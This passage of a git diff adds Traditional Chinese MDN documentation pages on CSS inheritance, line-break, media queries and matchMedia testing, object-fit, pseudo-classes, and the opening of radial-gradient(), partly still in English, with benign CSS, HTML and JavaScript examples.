+ <li>常與 CSS 相關聯的語言：<a href="/zh-TW/docs/HTML">HTML</a>、<a href="/zh-TW/docs/SVG">SVG</a>、<a href="/zh-TW/docs/XHTML">XHTML</a>、<a href="/zh-TW/docs/XML">XML</a>。</li>
+ <li>廣泛運用 CSS 的 Mozilla 科技：<a href="/zh-TW/Firefox">Firefox</a> 及 <a href="/zh-TW/docs/Mozilla/Thunderbird">Thunderbird</a> 的<a href="/zh-TW/docs/Extensions">套件</a>與<a href="/zh-TW/Add-ons/Themes">佈景</a></li>
+</ul>
diff --git a/files/zh-tw/web/css/inheritance/index.html b/files/zh-tw/web/css/inheritance/index.html
new file mode 100644
index 0000000000..f67ad62107
--- /dev/null
+++ b/files/zh-tw/web/css/inheritance/index.html
@@ -0,0 +1,48 @@
+---
+title: 繼承
+slug: Web/CSS/inheritance
+translation_of: Web/CSS/inheritance
+---
+<h2 id="摘要">摘要</h2>
+
+<p>每個 <a href="/en-US/docs/CSS/CSS_Reference" title="en/CSS_Reference">CSS property definition</a> 都寫道是否這個屬性預設有繼承: ("Inherited: Yes") 或是 預設沒有繼承: ("Inherited: no"). 這個設定將會在沒有位屬性標註值時發生.</p>
+
+<h2 id="Inherited_properties" name="Inherited_properties">繼承屬性</h2>
+
+<p>When no value for an <strong>inherited property</strong> has been specified on an element, the element gets the <a href="/en-US/docs/CSS/computed_value" title="en/CSS/computed_value">computed value</a> of that property on its parent element. Only the root element of the document gets the <a href="/en-US/docs/CSS/initial_value" title="en/CSS/initial_value">initial value</a> given in the property's summary.</p>
+
+<p>A typical example of an inherited property is the {{ Cssxref("color") }} property. Given the style rules:</p>
+
+<pre class="brush: css">p { color: green }</pre>
+
+<p>HTML:</p>
+
+<pre class="brush: html">&lt;p&gt;This paragraph has &lt;em&gt;emphasized text&lt;/em&gt; in it.&lt;/p&gt;</pre>
+
+<p>the words "emphasized text" will appear green, since the <code>em</code> element has inherited the value of the {{ Cssxref("color") }} property from the <code>p</code> element. It does <em>not</em> get the initial value of the property (which is the color that is used for the root element when the page specifies no color).</p>
+
+<h2 id="Non-inherited_properties" name="Non-inherited_properties">非繼承屬性</h2>
+
+<p>When no value for an <strong>non-inherited property</strong> (sometimes called a <strong>reset property</strong> in Mozilla code) has been specified on an element, the element gets the <a href="/en-US/docs/CSS/initial_value" title="en/CSS/initial_value">initial value</a> of that property (as specified in the property's summary).</p>
+
+<p>A typical example of a non-inherited property is the {{ Cssxref("border") }} property. Given the style rules:</p>
+
+<pre class="brush: css"> p { border: medium solid }</pre>
+
+<p>HTML:</p>
+
+<pre class="brush: html">  &lt;p&gt;This paragraph has &lt;em&gt;emphasized text&lt;/em&gt; in it.&lt;/p&gt;</pre>
+
+<p>the words "emphasized text" will not have a border (since the initial value of {{ Cssxref("border-style") }} is <code>none</code>).</p>
+
+<h2 id="Notes" name="Notes">註</h2>
+
+<p>{{ Cssxref("inherit") }} 關鍵字允許作者準確地去標註. 這個在繼承和非繼承屬性都是有效的.</p>
+
+<h2 id="See_Also" name="See_Also">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/CSS_Reference" title="CSS Reference">CSS Reference</a></li>
+ <li>{{ CSS_key_concepts() }}</li>
+ <li>{{ Cssxref("inherit") }}</li>
+</ul>
diff --git a/files/zh-tw/web/css/line-break/index.html b/files/zh-tw/web/css/line-break/index.html
new file mode 100644
index 0000000000..f7e073e100
--- /dev/null
+++ b/files/zh-tw/web/css/line-break/index.html
@@ -0,0 +1,71 @@
+---
+title: line-break
+slug: Web/CSS/line-break
+translation_of: Web/CSS/line-break
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>line-break</code></strong> CSS 屬性能夠設定在中文、日文和韓文(CJK) 的文字中，遇到標點或符號時該如何斷行。</p>
+
+<pre class="brush:css no-line-numbers">/* Keyword values */
+line-break: auto;
+line-break: loose;
+line-break: normal;
+line-break: strict;
+line-break: anywhere;
+
+/* Global values */
+line-break: inherit;
+line-break: initial;
+line-break: unset;
+</pre>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>以預設的斷行規則斷開文字。</dd>
+ <dt><code>loose</code></dt>
+ <dd>Break text using the least restrictive line break rule. Typically used for short lines, such as in newspapers.</dd>
+ <dt><code>normal</code></dt>
+ <dd>Break text using the most common line break rule.</dd>
+ <dt><code>strict</code></dt>
+ <dd>Break text using the most stringent line break rule.</dd>
+ <dt><code>anywhere</code> </dt>
+ <dd>
+ <p>There is a soft wrap opportunity around every typographic character unit, including around any punctuation character or preserved white spaces, or in the middle of words, disregarding any prohibition against line breaks, even those introduced by characters with the GL, WJ, or ZWJ character class or mandated by the word-break property. The different wrapping opportunities must not be prioritized. Hyphenation is not applied.</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#line-break-property', 'line-break')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.line-break")}}</p>
diff --git a/files/zh-tw/web/css/media_queries/index.html b/files/zh-tw/web/css/media_queries/index.html
new file mode 100644
index 0000000000..41339e07bc
--- /dev/null
+++ b/files/zh-tw/web/css/media_queries/index.html
@@ -0,0 +1,112 @@
+---
+title: Media queries
+slug: Web/CSS/Media_Queries
+translation_of: Web/CSS/Media_Queries
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Media Queries</strong> is a module of CSS that defines expressions allowing to tailor presentations to a specific range of output devices without changing the content itself.</p>
+
+<h2 id="參考">參考</h2>
+
+<h3 id="At-rules">At-rules</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@import")}}</li>
+ <li>{{cssxref("@media")}}</li>
+</ul>
+</div>
+
+<h2 id="指南">指南</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">Using media queries</a></dt>
+ <dd>Presents what media queries are doing and explains the possible expressions.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Media_Queries/Testing_media_queries">Testing media queries</a></dt>
+ <dd>Explains how to test a media query programmatically, from JavaScript.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'media.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop(1.7)}}</td>
+   <td>9.0</td>
+   <td>9.2</td>
+   <td>1.3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile(1.7)}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/zh-tw/web/css/media_queries/testing_media_queries/index.html b/files/zh-tw/web/css/media_queries/testing_media_queries/index.html
new file mode 100644
index 0000000000..5c61c6483f
--- /dev/null
+++ b/files/zh-tw/web/css/media_queries/testing_media_queries/index.html
@@ -0,0 +1,118 @@
+---
+title: 測試 media queries
+slug: Web/CSS/Media_Queries/Testing_media_queries
+translation_of: Web/CSS/Media_Queries/Testing_media_queries
+---
+<p>{{SeeCompatTable}}</p>
+
+<p>DOM 提供了一個用程式去測試 media query 的方法：那就是透過 {{domxref("MediaQueryList") }} 物件；透過 <span style="line-height: 19.0909080505371px;">{{domxref("MediaQueryList") }} 物件上的屬性和方法，我們可以得知、觀察目前 media query 的狀態。</span></p>
+
+<h2 id="Creating_a_media_query_list" name="Creating_a_media_query_list">創建 media query list 物件</h2>
+
+<p>透過傳入目標 medai query 到 {{domxref("window.matchMedia") }} 方法，我們將可以取得相對應的 <span style="line-height: 19.0909080505371px;">MediaQueryList 物件。</span></p>
+
+<p>以下範例將取得偵測螢幕方向的 <span style="line-height: 19.0909080505371px;">MediaQueryList 物件：</span></p>
+
+<pre>var mql = window.matchMedia("(orientation: portrait)");
+</pre>
+
+<h2 id="Checking_the_result_of_a_query" name="Checking_the_result_of_a_query">檢查 media query 結果</h2>
+
+<p>讀取 <span style="line-height: 19.0909080505371px;">MediaQueryList 物件 的 matches 屬性就可以得知測試結果：</span></p>
+
+<pre class="brush: js">if (mql.matches) {
+  /* The device is currently in portrait orientation */
+} else {
+  /* The device is currently in landscape orientation */
+}
+</pre>
+
+<h2 id="Receiving_query_notifications" name="Receiving_query_notifications">接收測試結果通知</h2>
+
+<p>當我們想要動態依據 media query 測試狀況執行對應處理，除了持續定期偵測外，還有一個更有效率的途徑：那就是註冊 media query 的事件處理器 (listener)。只要呼叫 <span style="line-height: 19.0909080505371px;">MediaQueryList 物件上 addListener 方法，傳入符合</span> {{domxref("MediaQueryListListener") }} 介面的 listener 便完成事件註冊<span style="line-height: 19.0909080505371px;">：</span></p>
+
+<pre class="brush: js">var mql = window.matchMedia("(orientation: portrait)");
+mql.addListener(handleOrientationChange);
+handleOrientationChange(mql);
+</pre>
+
+<p>上面我們替螢幕方向 media query 註冊了一個 listener。請注意，在第一次註冊後，listener 會立刻被呼叫一次，這是為了初始化準備，因為我們可能預設 UI 是針對 'portait' 模式，但目前卻是 'landscape' 模式，所以這個第一次呼叫將給予我們作初始化調整的空間。</p>
+
+<p><code>下面handleOrientationChange()</code> 方法便是我們針對螢幕方向變化的 listener<span style="line-height: 19.0909080505371px;">：</span></p>
+
+<pre class="brush: js">function handleOrientationChange(mql) {
+  if (mql.matches) {
+    /* The device is currently in portrait orientation */
+  } else {
+    /* The device is currently in landscape orientation */
+  }
+}
+</pre>
+
+<h2 id="Ending_query_notifications" name="Ending_query_notifications">停止接收測試結果通知</h2>
+
+<p>當我們不需要接受通知時，只需要呼叫 removeListener 方法，然後傳入欲移除的 listener 即可：</p>
+
+<pre>mql.removeListener(handleOrientationChange);
+</pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>9</td>
+   <td>{{CompatGeckoDesktop("6.0") }}</td>
+   <td>10</td>
+   <td>12.1</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10</td>
+   <td>12.1</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also"> </h2>
+
+<h2 id="See_also" name="See_also">延伸閱讀</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Media_queries" title="CSS/Media queries">Media queries</a></li>
+ <li>{{domxref("window.matchMedia()") }}</li>
+ <li>{{domxref("MediaQueryList") }}</li>
+ <li>{{domxref("MediaQueryListListener") }}</li>
+</ul>
diff --git a/files/zh-tw/web/css/object-fit/index.html b/files/zh-tw/web/css/object-fit/index.html
new file mode 100644
index 0000000000..e6b73dc0b9
--- /dev/null
+++ b/files/zh-tw/web/css/object-fit/index.html
@@ -0,0 +1,217 @@
+---
+title: object-fit
+slug: Web/CSS/object-fit
+translation_of: Web/CSS/object-fit
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Summary" name="Summary">Summary</h2>
+
+<p>The <strong><code>object-fit</code></strong> CSS property specifies how the contents of a replaced element should be fitted to the box established by its used height and width.</p>
+
+<p>物件契合(<strong><code>object-fit)</code></strong>CSS屬性能指定置換元素(replaced element)的內容要如何契合、安裝到其使用的高度和寬度已確定的框。</p>
+
+<p> </p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="brush:css">/* Keyword values */
+object-fit: fill;
+object-fit: contain;
+object-fit: cover;
+object-fit: none;
+object-fit: scale-down;
+
+/* Global values */
+object-fit: inherit;
+object-fit: initial;
+object-fit: unset;
+</pre>
+
+<h3 id="Values" name="Values">Values</h3>
+
+<dl>
+ <dt><code>fill</code></dt>
+ <dd>The replaced content is sized to fill the element’s content box: the object’s concrete object size is the element’s used width and height.</dd>
+ <dt><code>contain</code></dt>
+ <dd>The replaced content is sized to maintain its aspect ratio while fitting within the element’s content box: its concrete object size is resolved as a contain constraint against the element’s used width and height.</dd>
+ <dt><code>cover</code></dt>
+ <dd>The replaced content is sized to maintain its aspect ratio while filling the element’s entire content box: its concrete object size is resolved as a cover constraint against the element’s used width and height.</dd>
+ <dt><code>none</code></dt>
+ <dd>The replaced content is not resized to fit inside the element’s content box: the object’s concrete object size is determined using the default sizing algorithm with no specified size, and a default object size equal to the replaced element’s used width and height.</dd>
+ <dt><code>scale-down</code></dt>
+ <dd>The content is sized as if <code>none</code> or <code>contain</code> were specified, whichever would result in a smaller concrete object size.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;h2&gt;object-fit: fill&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="fill"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="fill narrow"/&gt;
+
+  &lt;h2&gt;object-fit: contain&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="contain"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="contain narrow"/&gt;
+
+  &lt;h2&gt;object-fit: cover&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="cover"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="cover narrow"/&gt;
+
+  &lt;h2&gt;object-fit: none&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="none"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="none narrow"/&gt;
+
+  &lt;h2&gt;object-fit: scale-down&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="scale-down"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="scale-down narrow"/&gt;
+
+&lt;/div&gt;</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">h2 {
+  font-family: Courier New, monospace;
+  font-size: 1em;
+  margin: 1em 0 0.3em;
+}
+
+div {
+  display: flex;
+  flex-direction: column;
+  flex-wrap: wrap;
+  align-items: flex-start;
+  height: 940px;
+}
+
+img {
+  width: 150px;
+  height: 100px;
+  border: 1px solid #000;
+}
+
+.narrow {
+  width: 100px;
+  height: 150px;
+  margin-top: 10px;
+}
+
+.fill {
+  object-fit: fill;
+}
+
+.contain {
+  object-fit: contain;
+}
+
+.cover {
+  object-fit: cover;
+}
+
+.none {
+  object-fit: none;
+}
+
+.scale-down {
+  object-fit: scale-down;
+}
+</pre>
+
+<h3 id="Output">Output</h3>
+
+<p>{{ EmbedLiveSample('Example', 500, 450) }}</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Images', '#the-object-fit', 'object-fit')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td>The <code>from-image</code> and <code>flip</code> keywords have been added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#the-object-fit', 'object-fit')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>31.0</td>
+   <td>{{ CompatGeckoDesktop("36") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>11.60{{ property_prefix("-o") }}<br>
+    19.0</td>
+   <td>{{ CompatVersionUnknown }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4.4</td>
+   <td>{{ CompatGeckoDesktop("36") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>11.5{{ property_prefix("-o") }}<br>
+    24</td>
+   <td>{{ CompatVersionUnknown }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>Other image-related CSS properties: {{cssxref("object-position")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, {{cssxref("image-resolution")}}.</li>
+</ul>
diff --git a/files/zh-tw/web/css/pseudo-classes/index.html b/files/zh-tw/web/css/pseudo-classes/index.html
new file mode 100644
index 0000000000..1a222e59cd
--- /dev/null
+++ b/files/zh-tw/web/css/pseudo-classes/index.html
@@ -0,0 +1,129 @@
+---
+title: 虛擬類別
+slug: Web/CSS/Pseudo-classes
+translation_of: Web/CSS/Pseudo-classes
+---
+<p>{{ CSSRef() }}</p>
+
+<p>CSS <strong><em><dfn>虛擬類別（pseudo-class）</dfn></em></strong>的元素，在特殊狀態下被選取的話，會作為關鍵字被加到選擇器裡面。例如 {{ Cssxref(":hover") }} 會讓用戶的滑鼠停在某個元素的時候，套用指定選擇器的樣式。</p>
+
+<p>虛擬類別與 {{ Cssxref("pseudo-elements") }} 能讓你不只能給文件樹（document tree）本身的相關內容套用樣式，還能給諸如瀏覽歷史（{{ cssxref(":visited") }}）、內容的狀態（{{ cssxref(":checked") }}）、還有滑鼠的位置（像 {{ cssxref(":hover") }} 就能讓偵測滑鼠是否在元件上）之類的外部相關因素套用樣式。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">selector:pseudo-class {
+  property: value;
+}
+</pre>
+
+<h2 id="基本虛擬類別的目錄">基本虛擬類別的目錄</h2>
+
+<div class="index">
+<ul>
+ <li>{{ Cssxref(":active") }}</li>
+ <li>{{ cssxref(':any')}}</li>
+ <li>{{ Cssxref(":checked") }}</li>
+ <li>{{ Cssxref(":default") }}</li>
+ <li>{{ Cssxref(":dir", ":dir()")}}</li>
+ <li>{{ Cssxref(":disabled") }}</li>
+ <li>{{ Cssxref(":empty") }}</li>
+ <li>{{ Cssxref(":enabled") }}</li>
+ <li>{{ Cssxref(":first") }}</li>
+ <li>{{ Cssxref(":first-child") }}</li>
+ <li>{{ Cssxref(":first-of-type") }}</li>
+ <li>{{ Cssxref(":fullscreen") }}</li>
+ <li>{{ Cssxref(":focus") }}</li>
+ <li>{{ Cssxref(":hover") }}</li>
+ <li>{{ Cssxref(":indeterminate") }}</li>
+ <li>{{ Cssxref(":in-range") }}</li>
+ <li>{{ Cssxref(":invalid") }}</li>
+ <li>{{ Cssxref(":lang", ":lang()") }}</li>
+ <li>{{ Cssxref(":last-child") }}</li>
+ <li>{{ Cssxref(":last-of-type") }}</li>
+ <li>{{ Cssxref(":left") }}</li>
+ <li>{{ Cssxref(":link") }}</li>
+ <li>{{ Cssxref(":not", ":not()") }}</li>
+ <li>{{ Cssxref(":nth-child", ":nth-child()") }}</li>
+ <li>{{ Cssxref(":nth-last-child", ":nth-last-child()") }}</li>
+ <li>{{ Cssxref(":nth-last-of-type", ":nth-last-of-type()") }}</li>
+ <li>{{ Cssxref(":nth-of-type", ":nth-of-type()") }}</li>
+ <li>{{ Cssxref(":only-child") }}</li>
+ <li>{{ Cssxref(":only-of-type") }}</li>
+ <li>{{ Cssxref(":optional") }}</li>
+ <li>{{ Cssxref(":out-of-range") }}</li>
+ <li>{{ Cssxref(":read-only") }}</li>
+ <li>{{ Cssxref(":read-write") }}</li>
+ <li>{{ Cssxref(":required") }}</li>
+ <li>{{ Cssxref(":right") }}</li>
+ <li>{{ Cssxref(":root") }}</li>
+ <li>{{ Cssxref(":scope") }}</li>
+ <li>{{ Cssxref(":target") }}</li>
+ <li>{{ Cssxref(":valid") }}</li>
+ <li>{{ Cssxref(":visited") }}</li>
+</ul>
+</div>
+
+<h2 id="規範"><span>規範</span></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Fullscreen') }}</td>
+   <td>{{ Spec2('Fullscreen') }}</td>
+   <td>定義 <code>:fullscreen</code>。</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>在 {{ SpecName('HTML5 W3C') }} 並沒有改變。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>定義 <code>:any-link</code>, <code>:local-link</code>, <code>:scope</code>, <code>:active-drop-target</code>, <code>:valid-drop-target</code>, <code>:invalid-drop-target</code>, <code>:current</code>, <code>:past</code>, <code>:future</code>, <code>:placeholder-shown</code>, <code>:user-error</code>, <code>:blank</code>, <code>:nth-match()</code>, <code>:nth-last-match()</code>, <code>:nth-column()</code>, <code>:nth-last-column()</code>, and <code>:matches()</code>.<br>
+    沒有針對 {{SpecName('CSS3 Selectors')}} 與 {{SpecName('HTML5 W3C')}} 虛擬類別的重大更改（though semantic meaning not taken over）</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>定義以下 HTML context 的語意含義： <code>:link</code>, <code>:visited</code>, <code>:active</code>, <code>:enabled</code>, <code>:disabled</code>, <code>:checked</code>, and <code>:indeterminate</code>.<br>
+    <code>定義 :default</code>, <code>:valid</code>, <code>:invalid</code>, <code>:in-range</code>, <code>:out-of-range</code>, <code>:required</code>, <code>:optional</code>, <code>:read-only</code>, <code>:read-write</code>, and <code>:dir()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Basic UI') }}</td>
+   <td>{{ Spec2('CSS3 Basic UI') }}</td>
+   <td>定義 <code>:default</code>, <code>:valid</code>, <code>:invalid</code>, <code>:in-range</code>, <code>:out-of-range</code>, <code>:required</code>, <code>:optional</code>, <code>:read-only</code>, <code>:read-write</code>，但沒有語意含義的定義。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>定義 <code>:target</code>, <code>:root</code>, <code>:nth-child()</code>, <code>:nth-last-of-child()</code>, <code>:nth-of-type()</code>, <code>:nth-last-of-type()</code>, <code>:last-child</code>, <code>:first-of-type</code>, <code>:last-of-type</code>, <code>:only-child</code>, <code>:only-of-type</code>, <code>:empty</code>, <code>:not()</code>.<br>
+    定義 <code>:enabled</code>, <code>:disabled</code>, <code>:checked</code>, <code>:indeterminate</code> 的語法，但沒有語意含義的定義。<br>
+    在 {{SpecName('CSS2.1')}} 並沒有明顯改變。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>定義 <code>:lang()</code>, <code>:first-child</code>, <code>:hover</code>, <code>:focus</code>.<br>
+    在 {{SpecName('CSS1')}} 並沒有明顯改變。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>定義 <code>:link</code>, <code>:visited</code>, <code>:active</code>，但沒有語意含義的定義。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="參閱">參閱</h2>
+
+<ul>
+ <li>{{ Cssxref("pseudo-elements") }}</li>
+</ul>
diff --git a/files/zh-tw/web/css/radial-gradient()/index.html b/files/zh-tw/web/css/radial-gradient()/index.html
new file mode 100644
index 0000000000..bd054abab3
--- /dev/null
+++ b/files/zh-tw/web/css/radial-gradient()/index.html
@@ -0,0 +1,183 @@
+---
+title: radial-gradient()
+slug: Web/CSS/radial-gradient()
+translation_of: Web/CSS/radial-gradient()
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS radial-gradient() 函數創建了一個圖片，其由一個從原點輻射開的在兩個或者多個顏色之前的漸變組成。這個方法得到的是一個CSS<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/gradient" title="The &lt;gradient> CSS data type is a special type of &lt;image> that consists of a progressive transition between two or more colors."><code>&lt;gradient&gt;</code></a>數據類型的物件，其是 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/image" title="The &lt;image> CSS data type represents a two-dimensional image. There are two kinds of images: plain images, referenced with a &lt;url>, and dynamically-generated images, generated with &lt;gradient> or element(). Additional CSS image functions include image(), image-set(), and cross-fade(). Images can be used with numerous CSS properties, such as background-image, border-image, content, cursor, and list-style-image."><code>&lt;image&gt;</code></a> 的一種。</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-radial-gradient.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>As with any gradient, a radial gradient has <a href="/en-US/docs/CSS/image#no_intrinsic">no intrinsic dimensions</a>; i.e., it has no natural or preferred size, nor a preferred ratio. Its concrete size will match the size of the element it applies to.</p>
+
+<p>To create a radial gradient that repeats so as to fill its container, use the {{cssxref("repeating-radial-gradient")}} function instead.</p>
+
+<p>Because <code>&lt;gradient&gt;</code>s belong to the <code>&lt;image&gt;</code> data type, they can only be used where <code>&lt;image&gt;</code>s can be used. For this reason, <code>radial-gradient()</code> won't work on {{Cssxref("background-color")}} and other properties that use the {{cssxref("&lt;color&gt;")}} data type.</p>
+
+<h2 id="Composition_of_a_radial_gradient">Composition of a radial gradient</h2>
+
+<p><img alt="" src="/files/3795/radial%20gradient.png" style="float: left; height: 176px; width: 396px;">向量漸變(Radial gradients)由其中心點、邊緣形狀輪廓及位置、色值結束點（color stops）定義而成。</p>
+
+<p>To create a smooth gradient, the <code>radial-gradient()</code> function draws a series of concentric shapes radiating out from the center to the <em>ending shape</em> (and potentially beyond). The ending shape may be either a circle or an ellipse.</p>
+
